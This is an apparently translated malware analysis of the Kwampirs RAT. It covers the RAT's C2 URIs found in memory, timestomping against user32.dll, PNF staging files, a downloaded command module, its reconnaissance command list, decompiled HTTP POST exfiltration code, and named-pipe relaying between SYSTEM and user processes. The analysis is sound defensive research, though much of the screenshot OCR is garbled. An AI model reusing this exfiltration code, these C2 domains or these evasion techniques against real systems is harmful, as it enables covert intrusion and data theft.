00001618	00	00	00	00	00	00	00	00	fd	aß	93	64	82	df	00	10	6a	00	66	00	6e	00	79	00	68	00	64	00	73	00	69	00	dj.f.n.v.h.d.s.i.
00001638	74	00	65	00	2e	00	75	00	73	00	2f	00	67	00	72	00	6f	00	75	00	70	00	2f	00	6d	00	61	00	69	00	6e	00	t.eu.s./.g.r.o.u.p./.m.a.i.n.
00001658	69	00	6e	00	64	00	65	00	78	00	2e	00	70	00	68	00	70	00	00	00	ab	ab	ab	ab	ab	ab	ab	ab	ee	fe	ee	fe	i.n.d.e.xp.h.p
00001678	00	00	00	00	00	00	00	00	fb	a8	93	62	85	df	00	1a	69	00	6b	00	6a	00	6d	00	61	00	69	00	6e	00	2e	00	bi.k.j.m.a.i.n
00001698	63	00	61	00	6d	00	21	00	69	00	6e	00	64	00	65	00	78	00	68	00	61	00	6d	00	65	00	2e	00	61	00	73	00	c.o.m./.i.n.d.e.x.h.o.m.ea.s.
000016b8	70	00	78	00	00	00	ab	ab	ab	ab	ab	ab	ab	ab	ee	fe	00	00	00	00	00	00	00	00	fd	a8	93	64	83	df	00	1a	p.xd
000016d8	77	00	77	00	77	00	2e	00	70	00	6f	00	77	00	65	00	72	00	6b	00	63	00	бe	00	73	00	65	00	72	00	76	00	w.w.wp.o.w.e.r.k.c.n.s.e.r.v.
000016f8	2e	00	74	00	6b	00	2f	00	6c	00	6f	00	67	00	69	00	6e	00	2f	00	6d	00	61	00	69	00	6e	00	2e	00	70	00	t.k./.1.o.g.i.n./.m.a.i.np.

In the image above you can see the memory segment with all the URIs that the malware will try in order to communicate. To decipher the IOCs the malware uses the following logic:

2. The next step is to obtain the MACTimes of the user32.dll Dll. This group modifies the times of certain files that it creates on the disk and fixes the times of the user32.dll Dll, as already mentioned "Kwampirs Dropper". This is a measure to hinder the subsequent forensic analysis. In the example below we can see the file 3.tmp (random name) on the left, created by Kwampirs to store the identifiers of the handlers of the Named Pipes that it has created, and on the right the user32.dll dll of the system. If we look carefully, we see how the modification time coincides exactly:

Nombre	Fecha de modifica	Тіро	Tamaño	🚱 🗣 🐌 > Equipo	Disco local (C:) Windows System32	,		
3.tmp	21/11/2010 4:24	Archive TMP	1 KB	Organizar 👻 🛁 Op	en with CFF Explorer 👻 Nueva carpeta			
FISAPIDebugLogFile.txt	14/11/2016 13:25	Documento de tex	0 KB	Fevoritos	Nombre	Fecha de modifica	Tipo	Tamaño
FXSTIFFDebugLogFile.txt	14/11/2016 13:25	Documento de tex	0 KB	Descargas	🚳 usbceip.dll	14/07/2009 3:41	Extensión de la apl	27 KB
MpCmdRun.log	18/01/2019 11:24	Documento de tex	7 KB	Escritorio	susbmon.dll	14/07/2009 3:41	Extensión de la apl	44 KB
ScheduledHeartbeat.log	18/01/2019 11:06	Documento de tex	2 KB	Sitios recientes	s usbperf.dll	14/07/2009 3:41	Extensión de la apl	13 KB
TS_1C8B.tmp	14/11/2016 13:23	Archivo TMP	192 KB	-	🚳 usbuidti	14/07/2009 3:41	Extensión de la apl	99 KB
TS_1E31.tmp	14/11/2016 13:23	Archivo TMP	192 KB	Bibliotecas	💽 user32.dll	21/11/2010 4:24	Extensión de la apl	985 KB
TS_1F7B.tmp	14/11/2016 13:23	Archivo TMP	192 KB	Documentos	UserAccountControlSettings.dll	21/11/2010 4:24	Extensión de la apl	83 KB
TS_2E90.tmp	14/11/2016 13:23	Archivo TMP	256 KB	Magenes	😽 UserAccountControlSettings.exe	14/07/2009 3:39	Aplicación	189 KB
					E3			

3. In the mtmndkb32.PNF file, a generated value is saved from the system date at the time of execution. In each execution (Kwampirs Dropper as Kwampirs RAT) it checks the exact date the file was created and if not enough time has passed since the file was created, it does not run again. This is already described by Symantec in its report and the "current" samples have not changed their behavior.

4. In the event that Kwampirs RAT is downloaded, a module interacts with the mkdiawb3.PNF file before entering the network communication execution flow. This file stores hashes in md5 of the modules. An example of the file with the hash of the encrypted and unencrypted module can be seen below:



This group calculates the hash on the file (module) after encrypting it and coding it in base64.

If we do a hash to the downloaded module we will see how it matches with what is stored:



5. Kwampirs RAT creates different files with extension ".TMP" in the temporary directory of the user and in the case of being executed with a user with administrator privileges renames the files and places it in the directory C:\windows\inf with extension PNF (of which we have spoken previously). To copy them, it uses the cmd.exe command as shown below in an execution:

DAV	leu i	P 🔄 💽 Posudocode A 📄 😨 Posudocode B 💿 🔯 Posudocode C 💽 👔 Posudocode D 🔯 👔 Breakpoints 💿 👮 Program Segmentation 💽	3	Threads			
	-	uesaup(v1):	^	Decimal	Hex	State	
į,	- 0	1007E0:L"cnd.exe /c copy /y /b \"C:\\Users\\Lucas\\Appbata\\Local\\Tenp\\%e580DA.tnp\" + \"C:\\Users\\Lucas\\Appbata\\Local\\Tenp\\%e580DB.t	wb/	. /.e://	findows\	\inf\\mtmodk1	32.PHF\""
,	ns ret	xc.registration.TryLevel = -2; ann B;					

6. After moving the files, it launches a thread that contacts the command and control server (C2 from now on). This thread invokes the StartProcess () function. This thread receives modules from C2 with the hash of the signed module and checks it before executing them. During this thread, a temporary file is generated where information of the computer is stored and then used in the requests. This file is called digirps.PNF. Once the digirps.PNF file is decrypted you can see how it stores computer information such as the MAC Address:

Image: Second State Image: Second State Imaling: Second State Image: Second State<	🕼 File Edit Search View Analysis Tools Window Help
<pre>digips.td Offset (h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F Decoded text 00000000 08 00 27 1C 14 AD 5C BB 4C 3D 70 F4 81 D5 9A 60'\»L=pô.Õš' f Administrador. C:\Windows\System32\cmd.exe Adaptador de Ethernet Conexión de área local: Sufijo DNS específico para la conexión. : Descripción</pre>	📄 🚵 👻 💭 📗 😃 🔄 🕶 16 💽 Windows (ANSI) 💽 hex 💌
<pre>Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F Decoded text 00000000 08 00 27 1C 14 AD 5C BB 4C 3D 70 F4 81 D5 9A 60</pre>	📓 digirps.bxt
00000000 08 00 27 1C 14 AD SC BB 4C 3D 70 F4 81 D5 9A 60*L=pô.Õš` f Adaptador de Ethernet Conexión de área local: Sufijo DNS específico para la conexión. : Descripción	Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F Decoded text
Adaptador de Ethernet Conexión de área local: Sufijo DNS específico para la conexión : Descripción Adaptador de escritorio Intel(R) PRO/1000 MT Dirección física	00000000 <u>08 00 27 1C 14 AD</u> 5C BB 4C 3D 70 F4 81 D5 9A 60'\»L=pô.Õš` 00000010 83 f
Adaptador de Ethernet Conexión de área local: Sufijo DNS específico para la conexión. : Descripción Adaptador de escritorio Intel(R) PRO/1000 MT Dirección física	Administrador: C:\Windows\System32\cmd.exe
Máscara de subred	Adaptador de Ethernet Conexión de área local: Sufijo DNS específico para la conexión : Descripción : Adaptador de escritorio Intel(R) PRO/1000 MT Dirección física : : : : : : : : : : :
Adaptador de túnel isatap.{C9437820-F974-4E30-97F2-42D81047793B}: Estado de los medios: medios desconectados Sufijo DNS específico para la conexión: Descripción: Adaptador ISATAP de Microsoft	Direction IP04
Estado de los medios : medios desconectados Sufijo DNS específico para la conexión : Descripción : Adaptador ISATAP de Microsoft	Adaptador de túnel isatap.{C9437820-F974-4E30-97F2-42D81047793B}:
	Estado de los medios : medios desconectados Sufijo DNS específico para la conexión : Descripción : Adaptador ISATAP de Microsoft



Again to decrypt the file we use the same algorithm but with a different key and the MAC of the computer where the sample was executed is indeed obtained. The analysis carried out has not shown that a first interaction with this file adds more useful information than the MAC Address.

As already mentioned, network communications to C2 are performed in this function. Until it receives a "good" response, Kwampirs RAT sends the following type of packets (in this case you can see how a C2 sends a successful response):



We see how the C2 has returned a code {XXX}: **hash_md5_modulo**. After receiving the module hash, the C2 sends it to the next GET:



In this case what it has returned is a module (DII as well) that it injects in memory and launches as a new thread of execution (these modules are not dumped to disk). In this case, the module allows executing commands in the operating system. In a first iteration the module executes commands to gather information:



.data:1000CDF0	comandos_infoga dd	offset	aHostname ;	DATA XREF: sub_10001A60+8ATo
.data:1000CDF0			;	"hostname"
.data:1000CDF4	dd	offset	aGetmac ;	"getmac"
.data:1000CDF8	dd	offset	aVer ;	"ver"
.data:1000CDFC	dd	offset	aArpA ;	"arp -a"
.data:1000CE00	dd	offset	aSysteminfo ;	"systeminfo"
.data:1000CE04	dd	offset	aWnicNicGetCapt	; "wmic nic get caption,AdapterType,Manufa"
.data:1000CE08	dd	offset	aWmicTimezoneGe	; "wmic timezone get caption"
.data:1000CE0C	dd	offset	aWmicIrqGetCapt	; "wmic IRQ get caption, IRQNumber"
.data:1000CE10	dd	offset	aWnicPortGetSta	; "wmic port get StartingAddress, EndingAd"
.data:1000CE14	dd	offset	aWnicCsproduct	; "wmic csproduct"
.data:1000CE18	dd	offset	aWnicComputersy	; "wmic computerSysten"
.data:1000CE1C	dd	offset	aWnicBaseboard	; "wmic baseboard"
.data:1000CE20	dd	offset	aWnicCpu ;	"wmic cpu"
.data:1000CE24	dd	offset	aWnicPartition	; "wmic partition"
.data:1000CE28	dd	offset	aWnicBios ;	"wmic bios"
.data:1000CE2C	dd	offset	aWnicStartup ;	"wmic startup"
.data:1000CE30	dd	offset	aWnicNetlogin ;	"wmic netlogin"
.data:1000CE34	dd	offset	aWnicPortconnec	; "wmic portconnector"
.data:1000CE38	dd	offset	aWnicMemphysica	; "wmic memphysical"
.data:1000CE3C	dd	offset	aWnicShare ;	"wmic share"
.data:1000CE40	dd	offset	aWnicLogon ;	"wmic logon"
.data:1000CE44	dd	offset	aWnicOs ;	"wmic OS"
.data:1000CE48	dd	offset	aWnicLogicaldis	; "wmic logicaldisk get caption,descriptio"
.data:1000CE4C	dd	offset	aWmicDesktop ;	"wmic desktop"
.data:1000CE50	dd	offset	aWmicProcessGet	; "wmic process get caption,commandline"
.data:1000CE54	dd	offset	aTimeT ;	"time /t"
.data:1000CE58	dd	offset	aDateT ;	"date /t"

The module that Kwampirs RAT has downloaded is mapped into memory as follows:

FWPUCLNT.DLL	6D8D0000	6DBD1000	R		D	byte	0000	public	CONST	32	0000	0000	0000	0000	0000
👩 cmdDLL.dll	10000000	10013000				byte		public	DATA		0000	0000	0000	0000	0000
debuo092	02000000	02001000	R	W	D	hute	0000	nublic	ΠΔΤΔ	32	0000	0000	0000	0000	0000
🜐 cmdDLL.dll	10009000	10013000				byte		public	DATA		0000			0000	0000
🜐 cmdDLL.dll								public	CODE						
🗊 cmdDLL.dll		10001000				byte		public							0000

After loading it, a thread starts invoking a function named CF. For this sample it is necessary that all the modules come with the function CF () to start the logic. The name of the DLL once mapped on this occasion is **cmdDLL.dll** which confirms that it is a module ready to execute commands.

Next you can see the module's loop that reads the .data section with the commands and that will be launched with cmd.exe:

```
strcpy(v16, "cmd.exe /c \"%s\" 2>nul");
v1 = off_1000CDF0;
do
{
    sprintf(CommandLine, v16, *v1);
    sub_10001250(v0);
    ++v1;
}
while ( (signed int)v1 < (signed int)&unk_1000CE5C );</pre>
```



And the following screenshot shows the part of the network that sends the POST request of the module whose capture of the network traffic was seen before:

```
WSAStartup(0x101u, &WSAData);
v9 = gethostbyname(&name);
*( DWORD *)&v18.sa family = 0;
*(_DWORD *)&v18.sa_data[2] = 0;
*( DWORD *)&v18.sa data[6] = 0;
*( DWORD *)&v18.sa data[10] = 0;
v10 = 0;
if ( v9 )
{
  if ( v9->h addrtype == 2 )
  {
   v11 = v9->h_addr_list;
    if ( *v11 )
    {
      *( DWORD *)&v18.sa_data[2] = *( DWORD *)*v11;
      v18.sa family = 2;
      *(_WORD *)v18.sa_data = htons(0x50u);
      v12 = socket(2, 1, 6);
      if ( v12 != -1 && !connect(v12, &v18, 16) )
      {
        strcpy(
          v26,
          "POST %s HTTP/1.0\r\n"
          "HOST: %s\r\n"
          "Content-Type: application/x-www-form-urlencoded\r\n"
          "Connection: Close\r\n"
          "Content-Length: %d\r\n"
          "\r\n"
          "data=");
        sprintf(&buf, v26, &v19, &name, len + 5);
        send(v12, &buf, strlen(&buf), 0);
        send(v12, (const char *)a1, len, 0);
        for ( i = &v22; recv(v12, i, 1, 0) && *i != 10; ++i )
         ;
        v14 = v23 == 50 && v24 == 48 && v25 == 48;
        v10 = v14;
        closesocket(v12);
      }
   }
 }
}
WSACleanup();
return v10;
```

7. After exiting the thread, the Sleep () function is executed with a random time and returns to point 5 to repeat the process.

When the Kwampirs RAT is executed with three parameters, the API that makes the HTTP request sometimes returns error **12029** (it could not establish the HTTP connection). In this case Kwampirs RAT will try to boot the malware with the CreateProcessAsUser () function as follows:

Propiedades: rundlé	32.exe (2660)				
General Statistics Pr	erformance Threads Token Modules Memory Enviro	onment Handles	Disk and Network Comment		
File Proceso h (Verified) Version: 6.1.7600.	ost de Windows (Rundii32) <u>Marosoft Windows</u> 16385				
Image file name:	Childhand 22 and				
C: (Windows bysvi	Owergunalszieke				
Process Command line:	rundl32.exe "C:\Windows\system32\wmiapvsrep.dl" Cor	trolTrace -Embedd	ing -k DoomLaunch <mark>P8xHN1hNW</mark>		
Current directory:	C:\Windows\system32\				
Started:	8 seconds ago (16:30:38 11/02/2019)				
PEB address:	0x7efdf000 (32-bit: 0x7efde000)				Image type: 32-bit
Parent:	Non-existent process (2512)				
Mitigation policies:	DEP (permanent)				Details
Protection: None					Permissions
					Close
rundll32.exe		2092 0,02	296 B/s	3,89 MB	NT AUTHORITY\SYSTEM
rundll32.exe		2660 0,05	576 B/s	3,37 MB	Lucas-PC\Lucas

It looks like there are two instances of Kwampirs, but one with the user SYSTEM and another with the user Lucas. This makes sense since there are occasions where the user SYSTEM cannot exit through the proxy of the organization and with this technique aims to take the user who may have configured the proxy and thus exit. The user instance tries again to launch the HTTP requests.

Execution with four parameters

Kwampirs RAT when booted with 4 parameters is used to communicate through Named Pipes with another instance of Kwampirs RAT.

The last parameter is the one that will give the name to the file that will store the handles of the named pipes created by that same instance. When booting with this amount of parameters, it calls the CreatePipe () function twice to create two Named Pipes. The pipe handlers (in decimal) are stored in a file created in C:\Windows\Temp:

Equipo	Disco local (C:) Windows Temp			
Incluir er	biblioteca 🔻 Compartir con 👻 Nueva ca	rpeta	,	
	Nombre	Fecha de modifica.	📓 C:\Windows\Temp\3.tm	np - Sublime Text
		24 /14 /2010 4 24	File Edit Selection Fin	d View Goto
as	A S.tmp	21/11/2010 4:24	◄ ► 3.tmp	*
tientes	EXSAPIDebugi ogFile tyt	14/11/2016 13:22	1 232 228	<u> </u>
	FXSTIFFDebugLogFile.txt	14/11/2016 13:25		
	MaCadPus log	06/02/2010 12:10		

• 228 = E4

The handles of the process show that e8 and e4 are File handles:

Туре	Name	Handle
Key	HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options	0x4
Directory	KnownDills	0x8
Directory	KnownDlls32	0xc
File	C:\Windows	0x10
Key	HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options	0x14
Directory	KnownDlls32	0x18
File	C: \Users \Lucas \Desktop \kwampirs analysis	0x1c
Key	HKLM\SYSTEM\ControlSet001\Control\SESSION MANAGER	0x20
Key	HKLM\SYSTEM\ControlSet001\Control\Vlls\CustomLocale	0x2c
Key	HKLM\SYSTEM\ControlSet001\Control\Vls\Sorting\Versions	0x30
Key	HKLM	0x3c
EtwRegistration	Microsoft-Windows-TSF-msctf	0x44
WindowStation	\Sessions\1\Windows\WindowStations\WinSta0	0x4c
Desktop	\Default	0x50
WindowStation	\Sessions\1\Windows\WindowStations\WinSta0	0x54
File	C:\Windows\SysWOW64\es-ES\rundll32.exe.mui	0x58
EtwRegistration	{2955e23c-4e0b-45ca-a181-6ee442ca1fc0}	0x5c
EtwRegistration	Microsoft-Windows-Shell-Core	0x60
EtwRegistration	{2955e23c-4e0b-45ca-a181-6ee442ca1fc0}	0x64
EtwRegistration	{bcebf131-e4e6-4ba4-82fa-9c406002f769}	0x68
EtwRegistration	{a323cdc2-81b0-48b2-80c8-b749a221478a}	0x6c
EtwRegistration	Microsoft-Windows-Shell-Core	0x70
EtwRegistration	Microsoft-Windows-KnownFolders	0x74
EtwRegistration	{bda92ae8-9f11-4d49-ba1d-a4c2abca692e}	0x78
Directory	\Sessions\1\BaseNamedObjects	0x94
EtwRegistration	{eb7428f5-ab1f-4322-a4cc-1f1a9b2c5e98}	0x98
EtwRegistration	{eb7428f5-ab1f-4322-a4cc-1f1a9b2c5e98}	0x9c
EtwRegistration	{63a3adbe-9717-410d-a0f5-e07e68823b4d}	0xa0
EtwRegistration	Microsoft-Windows-User Profiles General	0xa4
EtwRegistration	{c9bf4a02-d547-4d11-8242-e03a18b5be01}	0xa8
EtwRegistration	Microsoft-Windows-PrintService	0xac
EtwRegistration	Microsoft-Windows-Documents	0xb0
Key	HKLM\SYSTEM\ControlSet001\Control\WetworkProvider\HwOrder	0xb8
EtwRegistration	{69d3f5b6-6605-4ef9-b6a0-bc0233bd2ca6}	0xc4
EtwRegistration	Microsoft-Windows-UxTheme	0xc8
Section	Commit (892 kB)	0xd0
EtwRegistration	Microsoft-Windows-Shell-Core	0xd4
EtwRegistration	Microsoft-Windows-Dwm-Api	0xd8
File	\Device\WamedPipe\	0xdc
File	Unnamed file: \FileSystem\Npfs	0xe0
File	Unnamed file: \FileSystem\Wpfs	0xe4
File	Unnamed file: \FileSystem\Npfs	0xe8
File	Unnamed file: \FileSystem\Npfs	0xec

This mode of operation, as seen during the analysis, is used to communicate the Kwampirs RAT process started as SYSTEM (starting with the service) with the process started as the user owner of the current session of the machine.

Debug Verv		I Structures		Enums	
IDA View-EIP	B	Poeudocade-A.	8		🖉 General registers
Let(17586550 Fetn Let(17586556 i Let(17586566 i Let(17586566 i Let(1758656 i Let(17586556 push Let(17586555 i Let(17586555 i Let(17586555 i Let(17586555 i Let(17586555 push edi Let(17586555 push edi Let(17586555 push edi Let(17586555 push edi Let(17586555 push edi		: COBE INEF: WritePipe-22 ⁵ j : Size_t : Int : wid + : Size_t : wold + : wold =			FAI DESCFFF → debug175:0000FCF8 Elsi000705 → debug175:0000FCF4 Elsi000705 → debug175:0000FCF4 Elsi0000FC4 Elsi0000FC4 Elsi0000FC4 Elsi0000FC4 Elsi0000FC4 Elsi000FC4 Elsi00FC4 Elsi0FC4 Elsi0FC4 Elsi00FC4 Elsi00FC4 Elsi0FC4 E
Lost://SHARAGO news (cd. do:/dews/_/SLOBCU Lost://SHARAGO push 0; .text://SHARAGO push 0; .text:/SHARAGO push 0;	tten]	: lplworlagned : lphwolerOfBytesUritten : oNumberOfBytesTeMrite : lpfulfer : Hfile			Threads Decimal Hes State 2240 2020 Rady 2020 2020 Rady 2021 2020 Rady 101 2020 Rady 102 2021 Rady 103 214 Rady
(New-1					T The State of the
	0 80 0 80 0 FE 1 18 2 80 7 80 0 80 7 80 0 80 7 80 8 80 8 80 6 80				Lo sev der Serer Co. 2004 1750 2005/C.C. 2004 1750 2005/C.C. 2004 1750 2005/C.C. 2004 1750 2005/C.C. 2004 1750 2005/C.C. 2004 1750 2005/C.C. 2004 100 2005/C.C. 2005/C.C. 2005/C.C. 2005/C.D. 2005/C.D
putwrdow 629: could not find walld save-restore pair for 4 727: wing guesned tope int - stdrall anknown 10	P51	157 010801:			

In the previous screenshot you can see how the process rundll32.exe (starting with SYSTEM, in this case it would be the master) that could not go to the internet is about to write in a pipe to send the data to the process that has been created with the CreateProcessAsUser () function. This data as you can see in the image is a numerical value and a URI. It is seen in the image how the handler where you write WriteFile () is 0x240 (it is seen at the top of the stack) that if we open the handles of the rundll32 master process we see that it is a Named Pipe:

Туре	Name	Handle
Key	HKCU\Software\Classes	0x238
EtwRegistration	{1ac55562-d4ff-4bc5-8ef3-a18e07c4668e}	0x23c
File	Unnamed file: \FileSystem\Npfs	0x240
File	Unnamed file: \FileSystem\Npfs	0x258
Process	rundll32.exe (2832)	0x25c
Key	HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEA	0x260
M	URGING A MARTIN MICH	0

If the handles of the rundll32 master process are opened with a tool like ProcessHacker, it will be seen how it has an open handle on the rundll32 process, created with the user without privileges (from now on rundll32 slave):

Type Name Handle Mutant \Sessions\1\BaseNamedObjects\ZoneAttributeCacheCounterMutex 0x298 Mutant \Sessions\1\BaseNamedObjects\ZoneAttributeCacheCounterMutex 0x240 Mutant \Sessions\1\BaseNamedObjects\ZonesLockedCacheCounterMutex 0x244 Mutant \Sessions\1\BaseNamedObjects\ZonesLockedCacheCounterMutex 0x244 Process rundl32.exe (2832) 0x25c Section Commit (892 k8) 0xcc Section \Sessions\1\BaseNamedObjects\crubers_Luces_landata_troamino1microsoft_Windows_lietIdc 0x158 Section \Sessions\1\BaseNamedObjects\crubers_Luces_landata_conters 0x158 Section \Sessions\1\BaseNamedObjects\crubers_Luces_AppData_Local_Microsoft_Windows_re 0x16c Section \Sessions\1\BaseNamedObjects\Crubers_Luces_AppData_Local_Microsoft_Windows_re 0x178 Section \Sessions\1\BaseNamedObjects\Crubers_Luces_AppData_Roaming_Microsoft_Windows_re 0x244 Section \Sessions\1\BaseNamedObjects\Crubers_Luces_AppData_Roaming_Microsoft_Windows_re 0x178 Section \Sessions\1\BaseNamedObjects\Crubers_Luces_AppData_Roaming_Microsoft_Windows_re 0x244 Section	ne Handle ssions\1\BaseNamedObjects\ZoneAttributeCacheCounterMutex 0x298 ssions\1\BaseNamedObjects\UIETIdIMutex 0x2a0 ssions\1\BaseNamedObjects\ZonesLockedCacheCounterMutex 0x2a4 ssions\1\BaseNamedObjects\cuess!ucers!ucers!uces!anndata!roamino!microsoft!windows!ietIdc 0x2t4 dl32.exe (2832) 0x25c vmit (892.k8) 0xcc ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x158 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_Te 0x176 sions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 sions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x284 sions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x284 sions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x26c dl32.exe (2836): 4000 0x17c dl32.exe (2836): 4000 0x17c dl32.exe (2836): 1388 0x178 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x218	A		
Autant \Sessions\1\BaseNamedObjects\ZoneAttributeCacheCounterMutex 0x288 Autant \Sessions\1\BaseNamedObjects\ZoneSLockedCacheCounterMutex 0x2a4 Autant \Sessions\1\BaseNamedObjects\ZoneSLockedCacheCounterMutex 0x244 Autant \Sessions\1\BaseNamedObjects\ZoneSLockedCacheCounterMutex 0x244 Autant \Sessions\1\BaseNamedObjects\ciuserslucasIanodatatroaminotmicrosoftWindowstietIdc 0x244 Autant \Sessions\1\BaseNamedObjects\windows_shell_global_counters 0x264 Viccess rundl32.exe (2832) 0x25c Section \Sessions\1\BaseNamedObjects\windows_shell_global_counters 0x158 Section \Sessions\1\BaseNamedObjects\ci_Users_Lucas_AppData_Local_Microsoft_Windows_m 0x16c Section \Sessions\1\BaseNamedObjects\Ci_Users_Lucas_AppData_Local_Microsoft_Windows_m 0x178 Section \Sessions\1\BaseNamedObjects\Ci_Users_Lucas_AppData_Local_Microsoft_Windows_m 0x284 Section \Sessions\1\BaseNamedObjects\Ci_Users_Lucas_AppData_Roaming_Microsoft_Windows_m 0x284 Section \Sessions\1\BaseNamedObjects\Ci_Users_Lucas_AppData_Roaming_Microsoft_Windows_m 0x284 Section \Sessions\1\BaseNamedObjects\Ci_Users_Lucas_AppData_Roaming_Microsoft_Windows_m 0x284 <td< td=""><td>ssions\1\BaseNamedObjects\ZoneAttributeCacheCounterMutex 0x298 ssions\1\BaseNamedObjects\IETIdIMutex 0x2a0 ssions\1\BaseNamedObjects\ZonesLockedCacheCounterMutex 0x2a4 ssions\1\BaseNamedObjects\ConesLockedCacheCounterMutex 0x2a4 fl32.exe (2832) 0x25c mit (892 kB) 0xcc ssions\1\BaseNamedObjects\windows_shell_global_counters 0x158 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x16c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_III 0x2d4 fl32.exe (2836): 4000 0x17c fl32.exe (2836): 4000 0x17c fl32.exe (2836): 1388 0x1f8 fl32.exe (2836): 1388 0x1f8 fl32.exe (2836): 3284 0x214 fl32.exe (2836): 3284 0x214 fl32.exe (2836): 3284 0x214 fl32.exe (2836): 3284 0x214 fl32.exe (2836): 3284 0x214</td><td>ype</td><td>Name</td><td>Handle</td></td<>	ssions\1\BaseNamedObjects\ZoneAttributeCacheCounterMutex 0x298 ssions\1\BaseNamedObjects\IETIdIMutex 0x2a0 ssions\1\BaseNamedObjects\ZonesLockedCacheCounterMutex 0x2a4 ssions\1\BaseNamedObjects\ConesLockedCacheCounterMutex 0x2a4 fl32.exe (2832) 0x25c mit (892 kB) 0xcc ssions\1\BaseNamedObjects\windows_shell_global_counters 0x158 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x16c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_III 0x2d4 fl32.exe (2836): 4000 0x17c fl32.exe (2836): 4000 0x17c fl32.exe (2836): 1388 0x1f8 fl32.exe (2836): 1388 0x1f8 fl32.exe (2836): 3284 0x214 fl32.exe (2836): 3284 0x214 fl32.exe (2836): 3284 0x214 fl32.exe (2836): 3284 0x214 fl32.exe (2836): 3284 0x214	ype	Name	Handle
Lutant \Sessions\1\BaseNamedObjects\/IETId!Mutex 0x2a0 Lutant \Sessions\1\BaseNamedObjects\/ZonesLockedCacheCounterMutex 0x2a4 Lutant \Sessions\1\BaseNamedObjects\/ZonesLockedCacheCounterMutex 0x2d4 rocess rundl32.exe (2832) 0x25c ection Commit (892.k8) 0xcc ection \Sessions\1\BaseNamedObjects\/vindows_shell_global_counters 0x158 ection \Sessions\1\BaseNamedObjects\c:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x16c ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x16c ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows 0x178 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows 0x244 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x178 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x244 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x244 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x244 hread rundl32.ex	ssions\1\BaseNamedObjects\IETIdIMutex 0x2a0 ssions\1\BaseNamedObjects\ZonesLockedCacheCounterMutex 0x2a4 ssions\1\BaseNamedObjects\zonesLockedCacheCounterMutex 0x24 dl32.exe (2832) 0x25c mit (892.k8) 0xcc ssions\1\BaseNamedObjects\windows_shell_global_counters 0x158 ssions\1\BaseNamedObjects\c:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x158 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x16c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_His 0x284 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x284 sions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x26c dl32.exe (2836): 4000 0x17c fl32.exe (2836): 1388 0x1f8 fl32.exe (2836): 3284 0x214 fl32.exe (2836): 3284 0x214 fl32.exe (2836): 3284 0x214 fl32.exe (2836): 3284 0x218	lutant	\Sessions\1\BaseNamedObjects\ZoneAttributeCacheCounterMutex	0x298
Lutant \Sessions\1\BaseNamedObjects\ZonesLockedCacheCounterMutex 0x2a4 Lutant \Sessions\1\BaseNamedObjects\c:\users\user	ssions\1\BaseNamedObjects\ZonesLockedCacheCounterMutex 0x24 ssions\1\BaseNamedObjects\c:lusers!lucas!anndata!roaming!microsoft!windows!ietIdc0x24 dll32.exe (2832) 0x25c mmit (892.kB) 0xcc 0x158 ssions\1\BaseNamedObjects\windows_shell_global_counters 0x158 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te0x15c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_His0x178 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His0x178 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows0x264 dll32.exe (2836): 4000 0x17c dll32.exe (2836): 4000 0x17c dll32.exe (2836): 1388 0x168 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 